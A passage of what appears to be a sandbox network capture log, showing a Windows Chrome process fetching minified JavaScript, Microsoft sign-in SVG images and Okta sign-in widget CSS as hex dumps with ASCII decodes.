function(i,a){if(
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 22 29 2c 72 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 79 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 76 61 72 20 74 3d 7b 74 72 79 4c 6f 63 3a 65 5b 30 5d 7d 3b 31 20 69 6e 20 65 26 26 28 74 2e 63 61 74 63 68 4c 6f 63 3d 65 5b 31 5d 29 2c 32 20 69 6e 20 65 26 26 28 74 2e 66 69 6e 61 6c 6c 79 4c 6f 63 3d 65 5b 32 5d 2c 74 2e 61 66 74 65 72 4c 6f 63 3d 65 5b 33 5d 29 2c 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 2e 70 75 73 68 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 76 61 72 20 74 3d 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 7c 7c 7b 7d 3b 74 2e 74 79 70 65 3d 22 6e 6f 72 6d 61 6c 22 2c 64 65 6c 65 74 65 20 74 2e 61 72 67 2c 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3d 74 7d 66 75 6e 63 74 69 6f 6e Data Ascii: is not an object"),r.delegate=null,y)}function A(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function j(e){var t=e.completion\|\|{};t.type="normal",delete t.arg,e.completion=t}function
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 2c 22 47 65 6e 65 72 61 74 6f 72 22 29 2c 66 28 53 2c 61 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 29 2c 66 28 53 2c 22 74 6f 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 47 65 6e 65 72 61 74 6f 72 5d 22 7d 29 29 2c 74 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 28 65 29 2c 72 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 72 2e 70 75 73 68 28 6e 29 3b 72 65 74 75 72 6e 20 72 2e 72 65 76 65 72 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 3b 72 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 6e 3d 72 2e 70 6f 70 28 29 3b 69 66 28 6e 20 69 6e 20 74 29 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 Data Ascii: ,"Generator"),f(S,a,(function(){return this})),f(S,"toString",(function(){return"[object Generator]"})),t.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 68 2d 31 3b 72 3e 3d 30 3b 2d 2d 72 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 72 5d 3b 69 66 28 6f 2e 74 72 79 4c 6f 63 3c 3d 74 68 69 73 2e 70 72 65 76 26 26 6e 2e 63 61 6c 6c 28 6f 2c 22 66 69 6e 61 6c 6c 79 4c 6f 63 22 29 26 26 74 68 69 73 2e 70 72 65 76 3c 6f 2e 66 69 6e 61 6c 6c 79 4c 6f 63 29 7b 76 61 72 20 69 3d 6f 3b 62 72 65 61 6b 7d 7d 69 26 26 28 22 62 72 65 61 6b 22 3d 3d 3d 65 7c 7c 22 63 6f 6e 74 69 6e 75 65 22 3d 3d 3d 65 29 26 26 69 2e 74 72 79 4c 6f 63 3c 3d 74 26 26 74 3c 3d 69 2e 66 69 6e 61 6c 6c 79 4c 6f 63 26 26 28 69 3d 6e 75 6c 6c 29 3b 76 61 72 20 61 3d 69 3f 69 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3a 7b 7d 3b 72 65 74 75 72 6e 20 61 2e 74 79 70 65 3d 65 2c 61 2e 61 72 67 3d 74 2c 69 3f 28 74 68 69 73 2e Data Ascii: h-1;r>=0;--r){var o=this.tryEntries[r];if(o.tryLoc<=this.prev&&n.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var i=o;break}}i&&("break"===e\|\|"continue"===e)&&i.tryLoc<=t&&t<=i.finallyLoc&&(i=null);var a=i?i.completion:{};return a.type=e,a.arg=t,i?(this.
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 72 69 6e 67 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 72 65 74 75 72 6e 20 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 66 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 74 29 7b 72 65 74 Data Ascii: ring(t)}function f(e){return f="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},f(e)}function l(t){ret
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 64 6f 6e 65 29 26 26 28 75 2e 70 75 73 68 28 6e 2e 76 61 6c 75 65 29 2c 75 2e 6c 65 6e 67 74 68 21 3d 3d 74 29 3b 73 3d 21 30 29 3b 7d 63 61 74 63 68 28 65 29 7b 63 3d 21 30 2c 6f 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 69 66 28 21 73 26 26 6e 75 6c 6c 21 3d 72 2e 72 65 74 75 72 6e 26 26 28 61 3d 72 2e 72 65 74 75 72 6e 28 29 2c 4f 62 6a 65 63 74 28 61 29 21 3d 3d 61 29 29 72 65 74 75 72 6e 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 63 29 74 68 72 6f 77 20 6f 7d 7d 72 65 74 75 72 6e 20 75 7d 7d 28 65 2c 74 29 7c 7c 4f 28 65 2c 74 29 7c 7c 78 28 29 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 53 28 65 29 7d 28 65 29 7c 7c Data Ascii: done)&&(u.push(n.value),u.length!==t);s=!0);}catch(e){c=!0,o=e}finally{try{if(!s&&null!=r.return&&(a=r.return(),Object(a)!==a))return}finally{if(c)throw o}}return u}}(e,t)\|\|O(e,t)\|\|x()}function g(e){return function(e){if(Array.isArray(e))return S(e)}(e)\|\|
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 65 78 74 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 72 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 74 68 72 6f 77 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 74 75 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 72 65 74 75 72 6e 22 2c 65 29 7d 3b 76 61 72 20 54 2c 6b 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 41 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6a 3d 28 54 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6b 2e 63 61 6c 6c 28 65 29 3b 72 65 74 75 72 6e 20 54 5b Data Ascii: ext",e)},e.prototype.throw=function(e){return this._invoke("throw",e)},e.prototype.return=function(e){return this._invoke("return",e)};var T,k=Object.prototype.toString,A=Object.getPrototypeOf,j=(T=Object.create(null),function(e){var t=k.call(e);return T[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49721	13.107.253.45	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:30 UTC	614	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:31 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:34 GMT ETag: 0x8D79B8371B97A82 x-ms-request-id: 3357c10a-801e-005a-75fb-25a5b1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T095731Z-r1755647c66x46wg1q56tyyk6800000008u0000000004vm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 09:57:31 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49720	13.107.253.45	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:30 UTC	618	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:31 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 7413ac6e-101e-002a-2a27-241c46000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T095731Z-17fbfdc98bb2fzn810kvcg2zng00000007a0000000001a72 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 09:57:31 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49722	13.107.253.45	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:30 UTC	617	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:31 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: 990a6b79-701e-0003-7dfb-252232000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T095731Z-r1755647c66d87vp2n0g7qt8bn00000008r0000000006qrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 09:57:31 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49716	13.33.187.14	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	563	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Mon, 21 Oct 2024 23:33:50 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Tue, 21 Oct 2025 23:33:50 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 c15415cccc7260d4bd35b1ca2c497c96.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: jyQq1PpEVxvUGuVO7wGJ2hHazkidGTq_WPZL3F5Uu4mmgLc2vJ3mVw== Age: 210220
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2024-10-24 09:57:31 UTC	11977	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 34 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 65 78 74 2d 69 6e 64 65 6e 74 3a 30 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6c 65 67 65 6e 64 2d 6c 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 66 39 66 39 66 39 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 32 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6c 65 67 65 6e 64 2d 6c 69 67 68 74 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 33 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6c 69 Data Ascii: 4px;font-style:normal!important;font-weight:300!important;position:absolute;text-indent:0;white-space:normal}#okta-sign-in .legend-light:before{color:#f9f9f9;content:"\e072"}#okta-sign-in .legend-light:after{color:#5e5e5e;content:"\e073"}#okta-sign-in .li
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 65 61 74 20 2d 32 32 70 78 20 2d 33 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 61 63 74 69 76 65 2e 63 68 7a 6e 2d 77 69 74 68 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 7b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 2d 62 6f 74 74 6f 6d 6c 65 66 74 3a 30 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 2d 62 6f 74 74 6f 6d 72 69 67 68 74 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 38 38 38 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d Data Ascii: eat -22px -3px}#okta-sign-in .chzn-container-active.chzn-with-drop .chzn-single{-moz-border-radius-bottomleft:0;-moz-border-radius-bottomright:0;background:#fff;border:1px solid #888;-webkit-border-bottom-left-radius:0;border-bottom-left-radius:0;-webkit-
2024-10-24 09:57:31 UTC	13725	IN	Data Raw: 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 2e 75 69 2d 74 61 62 73 20 2e 6f 2d 66 6f 72 6d 2d 70 69 6c 6c 62 61 72 2e 75 69 2d 74 61 62 73 2d 6e 61 76 20 6c 69 2e 75 69 2d 73 74 61 74 65 2d 61 63 74 69 76 65 3a 6c 61 73 74 2d 63 68 69 6c 64 3e 61 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 23 31 62 39 30 63 35 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 2e 75 69 2d 74 61 62 73 20 2e 6f 2d 66 6f 72 6d 2d 70 69 6c 6c 62 61 72 2e 75 69 2d 74 61 62 73 2d 6e 61 76 20 6c 69 2e 75 69 2d 73 74 61 74 65 2d 61 63 74 69 76 65 2b 6c 69 3e 61 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 30 3b 70 61 